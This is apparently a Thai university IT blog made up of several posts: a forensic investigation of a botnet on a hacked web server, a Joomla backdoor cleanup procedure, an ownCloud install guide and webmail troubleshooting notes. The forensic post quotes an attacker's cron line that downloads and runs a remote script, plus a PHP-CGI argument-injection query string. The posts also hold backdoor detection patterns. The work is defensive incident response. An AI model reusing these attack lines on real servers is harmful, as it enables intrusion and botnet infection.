    เบื้องต้น พบว่า มาจากเครื่อง Web Server ของคณะหนึ่ง ซึ่งเพิ่งย้ายจากเครื่องเดิมซึ่งโดน Hack มาก่อน หวังขึ้นเครื่องใหม่ แล้วทุกอย่างคงจะดีขึ้น … แต่ก็ยังไม่ใช่

    จึงขออนุญาต ผู้ดูแลระบบของคณะ เข้าตรวจสอบ โดยการสร้าง Account แยกต่างหาก และรายงานทุกขั้นตอนการทำงานให้ทราบ

    สิ่งที่พบคือ เป็น Ubuntu และใช้ Apache + PHP + MySQL มีการใช้งาน CMS เป็น WordPress เป็นส่วนใหญ่ แต่มี Joomla แค่หนึ่งเดียว นอกจากนั้น ยังพบว่ามี phpMyAdmin ด้วย

    เริ่มต้นจาก ตรวจสอบตามกระบวนการใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #4 ก็ไม่พบความผิดปรกติใด

    ผู้ดูแลระบบแจ้งว่า หลังจากทราบข่าว ก็ตรวจสอบทันที มีข้อสังเกต ว่า มี Process แปลกๆ ทำงาน ซึ่งตรวจสอบด้วยคำสั่ง

    ps aux

    ได้ผลว่ามีโปรแกรมแปลกๆ ทำงานในพื้นที่ /tmp และพยายามติดต่อไปภายนอก ดังนี้

    ซึ่งทำงานด้วย User ชื่อ www-data ซึ่ง เป็น Web User ซึ่งผิดปรกติ โดยชื่อโปรแกรมที่ทำงาน ชื่อ

    /tmp/php
    /tmp/pnscan

    ดูจากคำสั่ง สงสัยได้ว่า จะมีการติดต่อไปยังภายนอก เพื่อทำการบางอย่าง …

    จึงตรวจสอบ พบว่าไฟล์ ด้วยคำสั่ง

    stat /tmp/php
    stat /tmp/pnscan

     ได้ผลดังนี้

    /tmp/php ไฟล์สร้างเมื่อประมาณ         2013-12-13 20:22:51
    /tmp/pnscan ไฟล์สร้างเมื่อประมาณ     2013-12-13 20:22:35

     จึงตรวจสอบต่อ ด้วยคำสั่ง

    top

    แล้วเลือกดู เฉพาะ Process ที่ทำงานด้วย www-data โดยกดปุ่ม u แล้ว พิมพ์ www-data

    ได้ผลดังนี้

     จึงเห็น Process แปลกๆ คือ .xx มีเลข PID คือ 24813

     จึงไปดูรายละเอียดว่าไฟล์ดังกล่าว อยู่ที่ใด ด้วยคำสั่ง

    ls -l /proc/24813

    ได้ผลดังนี้

     จึงทราบว่า Process ดังกล่าว ไปเรียกไฟล์จาก /dev/shm/.xx ซึ่งเป็นส่วนพื้นที่ของ Share Memory

    จึงลองใช้คำสั่ง

    ls -la /dev/shm/

     ได้ผลดังนี้

     พบว่า ไฟล์ดังกล่าว สร้างเมื่อเวลาประมาณ 2013-12-13 22:45 และ มีความพยายามจะสร้างอีกไฟล์ ชื่อ .x เมื่อเวลาประมาณ 2013-12-14 11:47

     เพื่อให้เห็นการทำงาน ของ Process ID 24813 ให้ละเอียดยิ่งขึ้น จึงปรับคำสั่ง จาก ps aux เป็น (เพิ่ม we เข้าไป)

    ps auxwe | grep 24813

    เพื่อให้แสดงผล แบบ Wide Output (w) และ แสดง Environment Variable (e) ที่เกี่ยวข้องด้วย ได้ผลดังนี้

     จากคำสั่งนี้ ทำให้ทราบว่า Hacker เรียกมาจาก

     REMOTE_ADDR=193.51.237.2
     QUERY_STRING=%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E
     REQUEST_URI=/cgi-bin/php5

     

    จากข้อมูล REMOTE_ADDR ข้างต้น ไปค้นหา พบว่า Hacker มาจากประเทศ ฝรั่งเศษ โดยการค้นหาจาก

    http://whatismyipaddress.com/ip/193.51.237.2

     เมื่อข้อมูล QUERY_STRING ซึ่งเป็นข้อมูลแบบ URL Encode ไปผ่านการ Decode จะได้ข้อมูลเป็น

     -d allow_url_include=on -d safe_mode=off -d suhosin.simulation=on -d disable_functions="" -d open_basedir=none -d auto_prepend_file=php://input -d cgi.force_redirect=0 -d cgi.redirect_status_env=0 -n

     และ จาก REQUEST_URI ก็พบว่า Hacker เรียกผ่าน PHP ในแบบ cgi-bin โดยผ่านค่าที่ได้จาก QUERY_STRING ไป ซึ่ง แม้ PHP ตัวหลักของ Web Server จะปิดการ allow_url_include, เปิด safe_mode หรือปิด functions ต่างๆก็ตาม ด้วย Code ข้างต้น ทำให้ Hacker สามารถเรียกใช้สิ่งที่ไม่อนุญาตไว้ได้ทั้งหมด โดยไม่สนใจตัว PHP ของ Web Server เลย

     แต่จากข้อมูลที่ได้มา ทราบแค่ว่า Hacker ใช้วิธีการโจมตีผ่านช่องโหว่ของ PHP ในแบบ cgi-bin เท่านั้น แต่ยังไม่ทราบว่า ไฟล์นี้ มาได้อย่างไร

    จึงค้นหาต่อ โดยการเปิดดูไฟล์ /var/log/syslog ทั้งหมด พบว่า มี User www-data เรียกใช้งาน Cron ซึ่งผิดปรกติด้วย จึง ใช้คำสั่งต่อไปนี้ ตรวจสอบ

    zgrep "www-data" /var/log/syslog*

     ผลที่ได้คือ

     /var/log/syslog.3.gz:Dec 14 11:47:01 phar2 CRON[24799]: (www-data) CMD (/tmp/update >/dev/null 2>&1)var/log/syslog.3.gz:Dec 14 11:47:34 phar2 crontab[24814]: (www-data) REPLACE (www-data)
    /var/log/syslog.3.gz:Dec 14 11:48:01 phar2 cron[1075]: (www-data) RELOAD (crontabs/www-data)
    /var/log/syslog.3.gz:Dec 15 00:00:01 phar2 CRON[29845]: (www-data) CMD (wget -q http://221.132.37.26/scen -O /tmp/sh;sh /tmp/sh;rm -rd /tmp/sh)

     จึงใช้คำสั่ง

     wget -q http://221.132.37.26/scen

     เพื่อเอาไฟล์ชื่อ ‘scen’ จาก Website ดังกล่าวมาดู มีเนื้อหาดังนี้

    ซึ่ง การสร้าง cron นั้น จะไปฝังที่ /var/spool/cron/crontab โดยดูได้จากคำสั่ง

    ls -l /var/spool/cron/crontabs/

    ผลที่ได้คือ

    www-data.cron

    ซึ่ง แม้จะ Reboot เครื่อง หรือ Clear backdoor ต่างๆออกไปแล้ว ก็จะยังมี cron นี้ไปดึง Botnet กลับมาทุกสัปดาห์อยู่ดี

    จึงทำให้ทราบว่า Hacker เริ่มจาก

    1. เอาไฟล์มาวางไว้ใน /tmp ให้ได้ เช่น ชื่อไฟล์ /tmp/update, /tmp/sh หรืออะไรก็แล้วแต่

    2. จากนั้น ไฟล์เหล่านั้น ก็จะไป Download ผ่านโปรแกรมต่างๆ พวกนี้จะเรียกได้ว่าเป็น Botnet  เช่น เครื่องนี้ เป็นโปรแกรมในการ Scan Port เพื่อหาว่าในเครือข่ายปลายทาง มีบริการใดเปิดอยู่บ้างเป็นต้น หรือ จะฝังโปรแกรมแบบ Sniffer ไว้ก็สามารถทำได้เช่นกัน แต่แทนที่จะเก็บไว้ใน Directory ทั่วไป กลับเอาไปไว้ใน /dev/shm ซึ่งเป็น Share Memory ซึ่ง ผู้ดูแลระบบทั่วไป อาจจะไม่ได้ตรวจสอบ

    3. จากนั้นก็สั่ง Execute Botnet เหล่านั้น ให้ทำงานไป

    4. สร้าง crontab ชั่วคราว เพื่อให้ไปเอาโปรแกรมมาใหม่ แบบ Weekly หรือสัปดาห์ละครั้ง ไปเก็บไว้ในไฟล์ชื่อ /tmp/corn แล้วใช้คำสั่ง crontab /tmp/corn เพื่อเอา script ดังกล่าวเข้าทำงานใน Cron ของระบบ แล้ว สั่งทำงาน แล้วลบตัวเองทิ้ง จึงทำให้ ไม่สามารถหา ต้นตอได้ง่ายๆ

     เป็นเหตุให้ เครื่อง Web Server เครื่องนี้ ตกเป็น Botnet ตลอดไปนั่นเอง

     คำถามสำคัญ แล้ว … มันมีช่องโหว่ใด ???

     จึง ทดลองหาดูว่า มีไฟล์ใด /home (ซึ่งเครื่องนี้ ให้ผู้ใช้แต่ละคน สร้าง Website บนพื้นที่ /home ของตนเอง) ว่ามีไฟล์ใดบ้าง ที่มีการสั่งเขียนไฟล์ /tmp/php ด้วยคำสั่ง

     find /home -type f -exec grep '/tmp/php' {} \;

     ผลที่ได้คือ

    ในไฟล์ Documentation.html ของ phpMyAdmin ซึ่งระบุว่า

     และตรวจสอบ พบว่า ในบทความ  Debian: New phpmyadmin packages fix several vulnerabilities แจ้งว่า phpMyAdmin ไม่ได้ตรวจสอบสิทธิ์ให้ดีเพียงพอ จึงทำให้สามารถสร้างไฟล์ใน /tmp/ ได้ และแจ้งว่ามี CVE ที่กล่าวถึงใน วิธีตรวจสอบเว็บไซต์ที่โตน Hack #5 เกี่ยวกับ phpMyAdmin มีช่องโหว่ หมายเลข

    CVE-2008-7251

    CVE-2008-7252

    CVE-2009-4605

     สรุป

    1.ช่องโหว่ครั้งนี้ มาจาก phpMyAdmin ทำให้ Hacker สามารถสร้างไฟล์ใน /tmp ได้ และสามารถสร้าง Cron เพื่อดึง Botnet มาไว้ในเครื่องได้ และทำลายตัวเองทิ้งได้ด้วย

    2. ในอนาตค หากผู้ดูแลระบบ พบว่ามี Process แปลกๆ ให้ดูหมายเลข PID เช่น 24813 ก็ให้เปิด ls -la /proc/24813/ ก็จะทำให้ทราบ ต้นตอของ Process นั้นๆอยู่ที่ใด

    3. การบริหารจัดการ Log File มีความสำคัญอย่างยิ่ง ในระบบนี้ ได้เก็บ Log File ย้อนหลังไว้เพียงพอ ทำให้สามารถค้นหาต้นตอได้

    4. คาถาป้องกันตัว คือ
    “update เป็นนิจ
    ติดตามข่าวสาร
    อย่าเอาแต่เชื่ออาจารย์ (Tools)
    สร้างการป้องกัน
    ขยันอ่าน Log
    เตรียม Block ช่องโหว่
    สุขโขนั่นเป็นเรื่องชั่วคราว
    กรรมระยะยาว ของ SysAdmin”

    ขอให้โชคดี

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #4

    (ตอนนี้ จะเน้นการตรวจสอบ Joomla เป็นหลักครับ)

    จาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3” ซึ่ง เป็นการตรวจสอบเบื้องต้นว่า มีการบุกรุกผ่านช่องโหว่ต่างๆของ Web Server เข้ามาวาง Backdoor หรือไม่ ซึ่ง ตั้งสมมุติฐานว่า Hacker จะเอาไฟล์ .php มาวางไว้ในไดเรคทอรี่ images/stories เท่านั้น

    แต่ความจริงแล้ว … ไม่ใช่เช่นนั้น

    เพราะ Hacker ต้องคิดต่อไปอีกขั้นหนึ่ง คือ ต้องวางไฟล์ Backdoor ไว้ในที่อื่นๆด้วย รวมถึง พยายามแก้ไขไฟล์ .php ของ Joomla เพื่อไม่ให้ผิดสังเกต และเป็นช่องในการกลับเข้ามาในภายหลัง

    ในบทความนี้ เป็นแนวทางปฏิบัติที่พึงดำเนินการ เพื่อการสืบสวน ค้นหา และทำลาย Backdoor ที่อื่นๆ รวมถึง เสนอแนวทางปฏิบัติ เพื่อผู้ดูแลระบบจะได้ทราบว่า มีไฟล์ใดบ้างที่เปลี่ยนแปลง ในอนาคต

    ภาพรวมขั้นตอนการปฏิบัติ

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar
    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้
    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์
    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.
    7. ตรวจสอบ Web User คือใคร
    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม

    รายละเอียดการปฏิบัติ

    คำสั่งต่อไปนี้ อยู่บนพื้นฐานที่ว่า
    Document Root ของ Web Server อยู่ใน /var/www/ ของแต่ละผู้ใช้
    ดังนั้น ขอให้ปรับเปลี่ยนตามระบบของท่าน

    1. ทำการตรวจสอบไฟล์ .php ใน images/stories แล้วเก็บเป็น List เอาไว้
    ใช้คำสั่งต่อไปนี้

    find /var/www/ -name "*.php" -type f | grep 'images/stories' > /tmp/backdoor.txt

    2. ดึงไฟล์ Backdoor ที่พบ มาเก็บไว้ก่อน ด้วยคำสั่ง tar เพื่อให้ในการตรวจสอบ และภายหลัง

    cat /tmp/backdoor.txt | xargs tar -cvf /tmp/backdoor.tar

    ลองตรวจสอบว่า คำสั่งดังกล่าว เก็บไฟล์ได้จริงหรือไม่ ด้วยคำสั่งต่อไปนี้

    tar -tvf /tmp/backdoor.tar

    3. ค้นหาไฟล์ ที่เกิดขึ้นหรือถูกแก้ไข ในเวลาใกล้เคียงกันกับ Backdoor นั้นๆ แล้วเก็บเป็น List เอาไว้ ให้สร้างไฟล์ ชื่อ findbackdoor.sh แล้วใส่เนื้อหาตามนี้

    #!/bin/sh
    BD="/tmp/backdoor.txt"
    TMP01="/tmp/otherbackdoor.txt"
    DMROOT="/var/www/"
    for f in $(cat $BD) ; do
        echo ":: $f ::"
        fdate=$(stat $f |grep ^Modify|awk '{print $2}')
        fdate2=$(date +%Y-%m-%d --date="$fdate 1 day")
        find $DMROOT -type f -name "*.php" -newermt $fdate ! -newermt $fdate2  >> $TMP01
        echo "------"
        echo ""
    done

    แล้วใช้คำสั่ง

    sh findbackdoor.sh

    โปรแกรมนี้จะทำการค้นหาไฟล์ ที่ถูก “สร้าง/แก้ไข” ในวันที่ backdoor ที่อยู่ใน images/stories ที่พบ และหลังจากนั้น 1 วัน  และ แสดงผลลัพธ์ไว้ในไฟล์ /tmp/otherbackdoor.txt

    4. ดึงไฟล์ ต้องสงสัย มาเก็บไว้ก่อน แล้ว ตรวจสอบ เป็นรายไฟล์

    cat /tmp/otherbackdoor.txt | xargs tar -cvf /tmp/otherbackdoor.tar

    5. ลบไฟล์ Backdoor จาก List ในข้อ 1.
    ซึ่งอยู่ในไฟล์ /tmp/backdoor.txt ด้วยคำสั่ง

    cat /tmp/backdoor.txt | sudo xargs rm -rf

    6. ลบไฟล์ ต้องสงสัย หลังจากการตรวจสอบในข้อ 4.

    คำเตือน ตรวจสอบไฟล์ที่ปรากฏใน /tmp/otherbackdoor.txt ** ทุกไฟล์ ** เพราะ ไม่ใช่ทุกไฟล์ในนี้ จะเป็น Backdoor หากตรวจสอบแล้ว พบว่า ไม่ใช่ ก็ให้ลบบรรทัดนั้น ทิ้งไป ให้ในไฟล์ /tmp/otherbackdoor.txt เหลือแต่ไฟล์ backdoor จริงๆ

    เมื่อมั่นใจแล้ว ลบด้วยคำสั่ง

    cat /tmp/otherbackdoor.txt | sudo xargs rm -rf

    ให้เก็บไฟล์ /tmp/backdoor.tar และ /tmp/otherbackdoor.tar เอาไว้ เพราะในนั้น จะปรากฏ วัน เวลา และรายละเอียดของไฟล์เอาไว้ เพื่อจะใช้ในการ ตรวจสอบหาต้นตอ และช่องโหว่ของระบบต่อไป

    7. ตรวจสอบ Web User คือใคร
    ตั้งสมมุติฐานว่า ท่านใช้ Apache Web Server ซึ่ง จะมีชื่อ Process ว่า httpd หรือไม่ก็ apache (หากใช้ตัวอื่น กรุณาประยุกต์ให้ถูกต้องด้วย) โดยใช้คำสั่ง

    ps aux|egrep -i '(apache|httpd)' > /tmp/webuser.txt

    ผลที่ได้ ให้ดูใน column แรกของไฟล์ /tmp/webuser.txt โดยทั่วไปแล้ว
    CentOS/Fedora/RedHat จะได้เป็น apache
    Linux/Debian จะได้เป็น www-data
    แต่เคยเจอ บางระบบ ให้ user อื่นเป็นคนทำงาน ดังนั้น ให้ตรวจสอบให้เหมาะสมกับระบบตนเองด้วย

    8. ค้นหา Directory ที่ Web User จากข้อ 7. ที่สามารถเขียนได้
    สมมุติ Web User ที่ได้จากข้อ 7. ชื่อ www-data และ Document Root อยู่ที่ /var/www
    ให้ใช้คำสั่งต่อไป เพื่อตรวจสอบว่า มี Directory ใดบ้าง ที่ Web User ดังกล่าวเขียนได้

    find /var/www -user www-data -perm -u+w -type d > /tmp/webuser-dir.txt

    หากพบว่า มี Directory ในไฟล์ /tmp/webuser-dir.txt ให้ ทำการปิด ไม่ให้ Web User นั้นเขียนได้ หรือ เปลี่ยนเป็นของ User อื่นแทน วิธีการนี้ จะทำให้ Hacker ไม่สามารถกลับมาเขียน Backdoor เพิ่มได้อีก

    9. ค้นหา Backdoor พื้นฐานเพิ่มเติม
    ตรวจสอบอีกครั้ง เผื่อจะมี Backdoor อื่นๆซ่อนอยู่ (วิธีการนี้ เป็นเพียง Backdoor ง่ายๆเท่านั้น แต่ดีกว่าไม่ตรวจสอบอะไร)

    find /var/www -name "*.php" -exec egrep -l "eval.*base64_decode" {} \; > /tmp/knownbackdoor.txt
    

     

    หาก Google Web Master Tools ซึ่งทางศูนย์คอมพิวเตอร์ดูแล แจ้งว่า มี Website ใด ภายใต้ Domain psu.ac.th ถูก Hack ทางศูนย์คอมพิวเตอร์ ขอดำเนินการตามนี้

    1. ปิดการเข้าถึงจากภายนอก มายัง TCP Port 80/443 ยัง IP Address ของ Web Server นั้นๆ
    2. แจ้ง ผู้ที่รับผิดชอบ Domain ของ Website ดังกล่าว
    3. ให้ผู้รับผิดชอบ ดำเนินการ ตามขั้นตอนข้อ 1-9 ข้างต้น และ ส่งผลเป็นไฟล์ดังต่อไปนี้มา
      backdoor.txt
      backdoor.tar
      otherbackdoor.txt
      otherbackdoor.tar
      webuser.txt
      webuser-dir.txt
      knowbackdoor.txt
      มาให้ศูนย์คอมพิวเตอร์ ตรวจสอบ
    4. เมื่อตรวจสอบเสร็จแล้ว ทางศูนย์คอมพิวเตอร์ อาจจะขอให้ตรวจสอบด้วยคำสั่งอื่นๆ เพื่อให้แน่ใจว่า ไม่มี Backdoor อันตรายหลงเหลืออยู่
    5. เมื่อมั่นใจแล้ว ทางผู้ดูแลระบบเครือข่าย จะเปิดให้ ภายนอก เข้ามายัง TCP Port 80/443 ยัง IP Address ดังกล่าวได้เหมือนเดิม

    ขอให้โชคดี

    (ใครเอาไปทำแล้ว ได้ผลอย่างไร ขอความกรุณารายงานผลด้วย ขอบคุณครับ)

  • How to: install Owncloud (Easy method)

    • สำหรับ Ubuntu 12.04 เท่านั้น
    • เปิด terminal
    • พิมพ์คำสั่ง (ไม่ต้องพิมพ์ $)

    $wget -q -O - http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/Release.key|sudo apt-key add -

    wget -nv https://download.owncloud.org/download/repositories/stable/xUbuntu_12.04/Release.key -O Release.key
    apt-key add - < Release.key
    • ต่อด้วย

    $sudo sh -c "echo 'deb http://download.opensuse.org/repositories/isv:ownCloud:community/xUbuntu_12.04/ /' >> /etc/apt/sources.list.d/owncloud.list"

    sh -c "echo 'deb http://download.owncloud.org/download/repositories/stable/xUbuntu_12.04/ /' >> /etc/apt/sources.list.d/owncloud.list"
    apt-get update
    apt-get install owncloud
    • ปิดท้าย

    $sudo apt-get update
    $sudo apt-get install -y owncloud

    • ต่อด้วยคำสั่ง

    $sudo /etc/init.d/apache2 restart

    • เปิดเว็บ http://localhost/owncloud เพื่อสร้าง user ที่เป็น admin ชื่ออะไรก็ได้ตามสะดวก และตั้งรหัสผ่านให้เรียบร้อย คลิก Advanced เพื่อดูค่าอื่นๆ เช่น โฟลเดอร์ที่ใช้เก็บข้อมูล การตั้งค่าฐานข้อมูลว่าจะใช้อะไร แบบง่ายนี้ขอใช้ sqlite ไปก่อนเพื่อความรวดเร็ว คลิก Finish Setup
    • ระบบจะล็อคอินเป็น user ที่สร้างให้คนแรกโดยอัตโนมัติ
    • ที่เหลือ ... ขอให้สนุกครับ

    ที่มา
    http://software.opensuse.org/download/package?project=isv:ownCloud:community&package=owncloud
    https://download.owncloud.org/download/repositories/stable/owncloud/

  • ทำไม PSU Webmail ส่ง email ที่มีไฟล์แนบเป็น Microsoft Word ง่ายๆ ไปให้คนอื่น แล้วเขาไม่ได้รับ

    วันนี้ มีผู้ใช้โทรศัพท์มาสอบถามปัญหา : ทำไมส่ง email ที่มีไฟล์แนบเป็น Microsoft Word ง่ายๆ ไปให้คนอื่น แล้วเขาไม่ได้รับ

    ตรวจสอบเบื้องต้น พบว่าส่งไม่ได้จริงๆ จึง เดินไปดูหน้างาน (คณะทันตะ)

    พบว่า ผู้ใช้ใช้ Firefox ในการใช้งาน PSU Webmail, เมื่อผู้ใช้ Compose จดหมายใหม่ แล้วเลือก Browse เพื่อเลือกไฟล์ นามสกุล .doc แล้วกดปุ่ม Add เพื่อแนบไฟล์ ก็จะได้ผลว่า ระบบมองเป็น text/xml ดังภาพ เป็นผลให้ ระบบกรอง email ทำงานผิดพลาด และไม่ยอมให้ส่ง

    ทดลองเปลี่ยนไฟล์ สร้างไฟล์ใหม่ ปิด Antivirus แล้ว ก็ยังเป็นเหมือนเดิม, เปลี่ยนไป Login ด้วย Account อื่นแล้ว ก็ยังเป็นเหมือนเดิม

    จึงทดลองส่ง email แบบไม่แนบไฟล์ ก็พบว่า ส่งได้

    จากนั้น จึงเอาไฟล์เดียวกัน แต่ใช้งานผ่าน PSU Webmail ด้วย IE แล้วทำการแนบไฟล์แบบเดิม พบว่า ระบบมองเป็น application/msword ถูกต้อง ดังภาพ

    ลองทดสอบกับ Chrome แล้ว ก็ได้ผลถูกต้องเช่นกัน จึงน่าจะเป็นปัญหาอะไรสักอย่างของ Firefox

    จึงลองดูการตั้งค่าต่างๆ พบว่า ใน Firefox ที่เมนู Tools > Options > Application มีการตั้งค่า “เอกสาร Microsoft Word 97-2003” มีอยู่ 3 บรรทัด และบรรทัดสุดท้าย บอกว่า text/xml เปิดด้วย Use XML Editor อยู่

    ซึ่งต่างกับการตั้งค่าใน IE ที่ใช้ Word อยู่ ดังภาพ

    วิธีการแก้ไข: จึงตั้งค่าดังกล่าวเป็น “Use Microsoft Word” เช่นกัน

    แล้วทดสอบใหม่ ปรากฏว่า ส่งได้ถูกต้อง แก้ปัญหาได้

  • ทำไมเวลาที่ส่ง email ผ่าน PSU Webmail แล้วมันเพี้ยนจากเวลาจริง

    วันนี้ มีผู้ใช้แจ้งว่า ส่ง email จาก PSU Webmail เมื่อเวลา 13:12:18แต่ พอเปิดใน INBOX.Sent พบว่า ส่งเมื่อเวลา  02:13:06 จึง เดินไปดูหน้างาน (คณะทันตะ)

     ตรวจสอบเบื้องต้น พบว่า เวลาของเครื่อง ก็ตรง และถูกต้อง แต่ เวลาที่ปรากฏอยู่ด้านซ้ายมือ มันเป็นเวลา 02:22 am ดังภาพ

     ทดลองส่ง email ถึงตัวเอง ก็พบว่า เป็นเวลา ตรงกับเวลาที่ปรากฏด้านซ้ายมือ ของ PSU Webmail แสดงว่า เป็นปัญหาที่การตั้งค่าของผู้ใช้

     จึงไปที่เมนู Options > Personal Information จึงพบว่า Timezone Options ตั้งเป็น America/Boa_Vista ดังภาพ

    ซึ่งเป็นเวลา GMT -4 ส่วนของไทยเราควรจะเป็น Asia/Bangkok ซึ่งเป็น GMT +7 ซึ่ง เวลาห่างกัน = (|-4| + |7| ) = 11 ชั่วโมง ซึ่งก็ตรงกับสิ่งที่เกิดขึ้น คือ เวลา 13:00 ถอยหลังไป 11 ชั่วโมงก็คือ 02:00 นั่นเอง

    การแก้ไข ก็แค่แก้ Timezone เป็น Asia/Bangkok แล้วกดปุ่ม Submit เท่านี้ เวลาก็ตรงตามความเป็นจริงแล้ว

  • วิธีตรวจสอบเว็บไซต์ที่โดน Hack #3

    ต่อจาก “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #1” และ “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    จากการใช้งาน CMS ยอดนิยม อย่าง Joomla อย่างแพร่หลาย ซึ่งเป็นเรื่องง่ายในการพัฒนาเว็บไซต์ เพราะผู้ใช้ สามารถสร้างเนื้อหาได้ง่ายดาย แถมรุ่นใหม่ๆ สร้างแทรกภาพ แทรกวิดีโอได้มากมาย ทำให้เว็บไซต์น่าสนใจ

    แต่สิ่งที่แลกมา คือ ความปลอดภัย เพราะมี Joomla รุ่น 1.5 และใช้เครื่องมือการแก้ไขข้อความ (editor) ที่ชื่อว่า JCE นั้น  (รุ่นต่ำกว่า 2.5) มีช่องโหว่ ซึ่งเรียกรวมๆว่า JCE Exploited

    รายละเอียดของช่องโหว่ สามารถอ่านได้จาก http://www.bugreport.ir/78/exploit.htm

    โดยสรุป วิธีการ Hack ทำเช่นนี้

    1. ตรวจสอบว่า website เป้าหมายมี com_jce หรือไม่
    2. ถ้ามี จะส่งคำสั่ง ผ่านช่องโหว่ทาง URL เข้าไปเพื่อสร้างไฟล์ชื่อ xxxx.gif แล้วเขียนหัวไฟล์ว่า GIF89
    3. จากนั้น ก็ใส่ php code ซึ่งจะใช้เป็น Backdoor เข้าไป
    4. ใช้ช่องโหว่ JCE แก้ไขไฟล์เป็น .php

    เมื่อสามารถเขียนไฟล์ ลงไปได้แล้ว Hacker ก็จะเข้ามาจัดการเครื่องเราในภายหลัง … เช่น เบื้องต้น อาจจะวางไฟล์ 0day.php หรือ อะไรก็แล้วแต่ เพื่อเอาไปอวดเพื่อนๆว่า นี่ๆ ฉัน Hack ได้แล้ว หรือบางคน ก็เข้ามาเปลี่ยนหน้าตาของ Website และเลวร้ายที่สุด คือ สามารถเข้ามาแล้ว เอา Source Code มา Compile บนเครื่องของเรา แล้วยึดเครื่องได้เลย หรืออาจจะเข้ามาใน Network เพื่อ Scan และยิงเครื่องอื่นๆได้เลยทีเดียว

    จาก website ที่อ้างอิงข้างต้น เป็นโค๊ดที่สามารถ นำไปใช้ทดสอบเครื่องในความดูแลของตนเอง แต่ในขณะเดียวกัน ก็จะมี Hacker มือใหม่ หรือที่เรียกว่า Script Kiddie จะลองของ โดยเอา PHP, Perl Script ข้างต้น ไปลอง Hack ดู ซึ่ง … สร้างความเสียหายได้ง่ายๆ

    วิธีการตรวจสอบ ซึ่ง ผู้ดูแล Website พึงตรวจสอบเป็นประจำ

    1. พวก Script Kiddie จะเอาโค๊ดไปใช้ โดยไม่แก้ไขอะไร หรือ แก้ไขเฉพาะให้ Hack ได้ โดยจะลืมแก้ Signature ของ Script ดังภาพ (ส่วนหนึ่งของ Script)

    ดังนั้น จะใน Log File ของ Web Server ก็จะปรากฏข้อความ “BOT for JCE” ด้วย จึงสามารถใช้คำสั่งต่อไปนี้ ค้นหาว่ามีความพยายาม Hack หรือไม่

    grep -i "BOT for JCE" /var/log/httpd/domains/*.log | grep 200

    คำสั่งนี้ จะค้นหาคำว่า  “BOT for JCE” ในที่ที่เก็บ Log File คือ /var/log/httpd/domains/*.log ( ซึ่งแต่ละแห่งใช้ที่เก็บ Log ไม่เหมือนกัน เช่นอาจจะเป็น /var/log/apache2/access.log.* ก็ได้ ขอให้ปรับเปลี่ยนตามความเป็นจริง) และ grep 200 คือ ดูว่า มี Status Code เป็น 200 ซึ่งแปลว่า ติดต่อสำหรับ ดังภาพ

    ถ้าเห็นอย่างนี้บ้าง ก็แสดงว่า เครื่องของเรา มีคนมาเยี่ยมเยียนสำเร็จแล้ว …

    2. ถ้า มีการ Hack สำเร็จ ก็จะวางไฟล์ไว้ โดยพื้นฐาน จะวางไว้ที่ไดเรคทอรี่  images/stories เพราะ Joomla มักจะเปิดให้สามารถ Upload ภาพไปวางได้ เมื่อวางไฟล์ได้แล้ว ก็จะเปลี่ยนนามสกุลจาก .gif เป็น .php  วิธีการค้นหาไฟล์ต้องสงสัย จึงควรหาด้วยคำสั่ง

    find /var/www/ -name "*.php" -type f | grep 'images/stories'

    คำสั่งนี้ จะค้นหาไฟล์ใน /var/www/html ที่มีชื่อเป็น *.php และ ระบุว่า หาเฉพาะชนิดเป็น file (Option -type f) และ เมื่อค้นหาเจอแล้ว ก็จะเลือกเฉพาะที่อยู่ใน ‘images/stories’

    โดยที่ /var/www/html เป็น Web Directory หลัก หรือบางแห่งให้ผู้ใช้ใช้งานได้ใน /home ก็ปรับเปลี่ยนตามความเป็นจริง

    ผลที่ได้ ก็จะเป็นเช่นนี้

    ซึ่งโดยปรกติ ไม่ควรจะมีไฟล์ .php อยู่ใน images/stories ซึ่งเป็นพื้นที่ที่เปิดให้ Upload ไฟล์ภาพเข้ามาได้

    3. หากลองเข้าไปในไฟล์ก็จะพบว่า เป็น Backdoor จริง ตามที่กล่าวไว้ใน “วิธีตรวจสอบเว็บไซต์ที่โดน Hack #2

    ซึ่งจะเห็นได้ว่า ยังมี Back Door ที่สามารถค้นหาในเครื่องด้วยคำสั่ง (ที่เคยบอกไว้แล้ว)

    find ./ -name "*.php" -exec egrep -l "@eval.*base64_decode" {} \;

    (ก็ขอให้ไปทำกันด้วย …)

    4. แต่ก็จะมีแนวทางใหม่ๆ ซึ่งจะค้นหาด้วยคำสั่งเดิมๆไม่เจอ แบบนี้

